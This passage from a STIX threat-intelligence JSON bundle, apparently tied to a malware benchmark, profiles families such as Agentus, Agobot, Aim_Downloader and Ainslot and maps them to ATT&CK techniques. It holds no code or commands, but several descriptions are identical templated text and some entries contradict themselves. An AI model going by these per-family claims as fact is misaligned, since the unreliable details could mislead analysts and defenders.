      "description": "Agentus (classified in antivirus detection telemetry under designations including Ransom:Win32/Agentus, Ransom.Win32.Agentus, and Win32/Agentus) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Agentus executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Agentus",
        "Ransom.Win32.Agentus",
        "Win32/Agentus"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Agentus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/agentus"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af6b5ebd-081e-53de-b60e-95537d046906",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--431baad6-b651-5936-ac41-bf0f5caa6a09",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agentus exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f2e9dc23-69b4-5ffa-ad95-59dace3c46a6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--431baad6-b651-5936-ac41-bf0f5caa6a09",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agentus exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9f81e8c-f4b2-5678-8bda-0b2cbe82f3e9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--431baad6-b651-5936-ac41-bf0f5caa6a09",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agentus exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1deef5b-5134-5856-867a-c6e8ceab7b71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--431baad6-b651-5936-ac41-bf0f5caa6a09",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agentus exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--362e71a1-d139-543e-9445-d73699d49ccf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--431baad6-b651-5936-ac41-bf0f5caa6a09",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agentus exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--148316da-3967-5cd4-bd75-bc8cb9525230",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Agentwdcr",
      "description": "Agentwdcr (classified in antivirus detection telemetry under designations including Ransom:Win32/Agentwdcr, Ransom.Win32.Agentwdcr, and Win32/Agentwdcr) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Agentwdcr executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Agentwdcr",
        "Ransom.Win32.Agentwdcr",
        "Win32/Agentwdcr"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Agentwdcr",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/agentwdcr"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b11c73a0-ed76-5312-be98-b5143f3251a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--148316da-3967-5cd4-bd75-bc8cb9525230",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agentwdcr exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e8ba18d4-5796-5707-9da9-bf38c7c90a91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--148316da-3967-5cd4-bd75-bc8cb9525230",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agentwdcr exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e92d390-427c-51ea-9977-8416ef4119bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--148316da-3967-5cd4-bd75-bc8cb9525230",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agentwdcr exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7df76895-7115-584c-b969-c2358d65f452",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--148316da-3967-5cd4-bd75-bc8cb9525230",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agentwdcr exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9d59f45-518a-5577-814c-dfc60851d7c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--148316da-3967-5cd4-bd75-bc8cb9525230",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agentwdcr exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--556c1cc4-34ae-591c-8afb-c07e74d98d7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Agiala",
      "description": "Agiala (classified in antivirus detection telemetry under designations including Ransom:Win32/Agiala, Ransom.Win32.Agiala, and Win32/Agiala) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Agiala executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Agiala",
        "Downloader.Agiala",
        "Win32/Agiala",
        "Ransom:Win32/Agiala",
        "Ransom.Win32.Agiala"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Agiala",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/agiala"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84d01b79-ec6d-5b83-80e6-135174bd60be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--556c1cc4-34ae-591c-8afb-c07e74d98d7a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agiala exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e13b52aa-d482-5ce7-be71-0f5470f6c5cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--556c1cc4-34ae-591c-8afb-c07e74d98d7a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agiala exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca28930b-56c8-5b26-9fa9-56d56c025008",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--556c1cc4-34ae-591c-8afb-c07e74d98d7a",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agiala exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4e79f6f4-d31d-58ab-8ae3-e399d862045b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Agile",
      "description": "Agile (classified in antivirus detection telemetry under designations including Ransom:Win32/Agile, Ransom.Win32.Agile, and Win32/Agile) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Agile executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Agile",
        "Ransom.Win32.Agile",
        "Win32/Agile"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Agile",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/agile"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4745f4ee-26a3-51db-9886-b046f41fd621",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e79f6f4-d31d-58ab-8ae3-e399d862045b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agile exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8cafff3c-a553-5ddc-a119-eb7ecb726fed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e79f6f4-d31d-58ab-8ae3-e399d862045b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agile exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84abe984-d786-5460-b576-9be99c7c1f69",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e79f6f4-d31d-58ab-8ae3-e399d862045b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agile exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2aa9f7b2-4d03-5f13-9522-fc338b9b806a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e79f6f4-d31d-58ab-8ae3-e399d862045b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agile exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f54dedce-f281-508f-8a26-4968c7c0562d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e79f6f4-d31d-58ab-8ae3-e399d862045b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agile exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dacf0a99-91e7-5369-acb5-7099aaf58671",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Agobot",
      "description": "Agobot (classified in antivirus detection telemetry under designations including Backdoor:Win32/Agobot, Backdoor.Win32.Agobot, and Win32/Agobot) is a interactive remote access trojan and backdoor providing remote threat actors with unauthorized terminal control, file manipulation, and surveillance. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Agobot executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include reverse shell connections, process hollowing, privilege escalation, and lateral movement reconnaissance. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Agobot",
        "Backdoor.Win32.Agobot",
        "Win32/Agobot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Agobot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/agobot"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13036a37-042e-54e7-901d-0e71bddbc2cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dacf0a99-91e7-5369-acb5-7099aaf58671",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agobot exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (IRC for Command and Control))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1498: Network Denial of Service (Coordinated DDoS attacks)",
      "description": "MITRE ATT&CK Technique T1498 (Network Denial of Service (Coordinated DDoS attacks)) under tactic Impact.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1498",
          "url": "https://attack.mitre.org/techniques/T1498/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21369349-1b63-59eb-a6b6-dcc152399f99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dacf0a99-91e7-5369-acb5-7099aaf58671",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agobot exhibits technique T1498 (Network Denial of Service (Coordinated DDoS attacks))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8dfa64d9-cc44-531c-9fbc-55412cdeb275",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dacf0a99-91e7-5369-acb5-7099aaf58671",
      "target_ref": "attack-pattern--be10f842-949a-5910-87e6-3068819d42e6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agobot exhibits technique T1190 (Exploit Public-Facing Application (Automated vulnerability scanning and exploitation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a06e8668-3730-5820-a540-aa12e67e04e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dacf0a99-91e7-5369-acb5-7099aaf58671",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Agobot exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Persistence))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b77d1c00-1491-5822-9e3d-351dbe64dace",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Aim_Downloader",
      "description": "Aim Downloader (historically classified as Downloader.Win32.Aim or Trojan-Downloader.Aim) refers to a specialized family of malicious utility droppers first documented in 2004. Engineered as a stealthy secondary stage conduit, its primary operational objective was fetching and executing secondary payloads from remote HTTP or FTP servers without user intervention. The malware achieved widespread underground notoriety due to deliberate nomenclature confusion: it routinely disguised its process image as 'aim.exe', the executable name belonging to the wildly popular AOL Instant Messenger client of that era. By hijacking this trusted binary identity, Aim Downloader blended seamlessly into Task Manager process listings, deceiving casual users and basic endpoint monitoring tools. Upon initial execution, Aim Downloader verified outbound internet connectivity via HTTP GET requests, retrieved encrypted binary blobs or obfuscated batch scripts, decrypted them directly in memory, and registered persistence via Windows Run keys before quietly terminating.",
      "is_family": true,
      "malware_types": [
        "downloader"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Downloader.Aim",
        "Trojan.Win32.AimDownloader",
        "Aim.exe Trojan"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Aim_Downloader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/aim_downloader"
        }
      ],
      "labels": [
        "downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--91955ab6-2852-5ae1-be3b-52bd67f84da0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b77d1c00-1491-5822-9e3d-351dbe64dace",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aim_Downloader exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1036.005: Match Legitimate Name or Location",
      "description": "MITRE ATT&CK Technique T1036.005 (Match Legitimate Name or Location) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1036.005",
          "url": "https://attack.mitre.org/techniques/T1036/005/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--132187d5-67ad-5c07-8183-40621b714835",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b77d1c00-1491-5822-9e3d-351dbe64dace",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aim_Downloader exhibits technique T1036.005 (Match Legitimate Name or Location)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41da804e-3976-545f-abef-15312be29a19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b77d1c00-1491-5822-9e3d-351dbe64dace",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aim_Downloader exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6689987-fff9-5815-bdbe-7d81685d4247",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b77d1c00-1491-5822-9e3d-351dbe64dace",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aim_Downloader exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a7185531-68e8-51de-89af-498fd2dffc73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ainslot",
      "description": "Trojan:Win32/Ainslot (also cataloged in threat telemetry as Worm:Win32/Ainslot.A, TROJ_GEN.UAE171Y, or Win32/Ainslot) is a persistent Windows trojan dropper and network worm designed to propagate across local network environments and deploy secondary crimeware. Ainslot spreads by scanning local subnet IP ranges for open network shares and utilizing weak administrative credentials, while also deploying via infected removable USB storage media. Once installed on a host system, Ainslot establishes persistence via the Windows Registry Run keys, communicates with remote C2 infrastructure using HTTP POST requests, and acts as a loader to drop auxiliary infostealers, password stealers, or generic trojan agents onto compromised endpoints. (Observed samples in benchmark: 635)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ainslot",
        "Trojan:Win32/Ainslot",
        "Worm:Win32/Ainslot.A",
        "TROJ_GEN.UAE171Y",
        "Win32/Ainslot",
        "Trojan.Ainslot",
        "Downloader.Ainslot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ainslot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ainslot"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1091: Replication Through Removable Media (The core propagation mechanism using autorun.inf)",
      "description": "MITRE ATT&CK Technique T1091 (Replication Through Removable Media (The core propagation mechanism using autorun.inf)) under tactic Lateral Movement.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1091",
          "url": "https://attack.mitre.org/techniques/T1091/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c830b88c-b8cb-5d65-a226-fed34fef72cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a7185531-68e8-51de-89af-498fd2dffc73",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ainslot exhibits technique T1091 (Replication Through Removable Media (The core propagation mechanism using autorun.inf))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--d66030a6-0b1f-5824-ae5f-d3704d249837",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1021.002: Remote Services: SMB/Windows Admin Shares",
      "description": "MITRE ATT&CK Technique T1021.002 (Remote Services: SMB/Windows Admin Shares) under tactic Lateral Movement.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1021.002",
          "url": "https://attack.mitre.org/techniques/T1021/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--72bc05d1-721d-582d-aed5-9fa8e3e40703",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a7185531-68e8-51de-89af-498fd2dffc73",
      "target_ref": "attack-pattern--d66030a6-0b1f-5824-ae5f-d3704d249837",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ainslot exhibits technique T1021.002 (Remote Services: SMB/Windows Admin Shares)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc2a8550-87b5-5951-9f8c-197f11f044ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a7185531-68e8-51de-89af-498fd2dffc73",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ainslot exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
